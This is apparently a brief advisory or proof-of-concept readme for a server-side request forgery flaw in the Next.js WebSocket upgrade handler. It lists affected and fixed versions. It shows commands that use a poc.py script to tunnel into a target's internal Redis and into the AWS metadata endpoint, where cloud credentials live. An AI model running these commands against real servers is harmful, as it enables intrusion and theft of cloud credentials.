
Vulnerability: Server-Side Request Forgery in Next.js WebSocket upgrade handler (13.4.13 → 15.5.15, 16.0.0 → 16.1.6)
# Detect vulnerability
python3 poc.py target.com:3000 --detect
# Tunnel to internal Redis
python3 poc.py target.com:3000 --internal 127.0.0.1:6379 --payload "INFO\r\n"
# Tunnel to AWS metadata
python3 poc.py target.com:3000 --internal 169.254.169.254:80 --payload "GET /latest/meta-data/ HTTP/1.0\r\n\r\n"
Upgrade to Next.js 15.5.16 or 16.2.5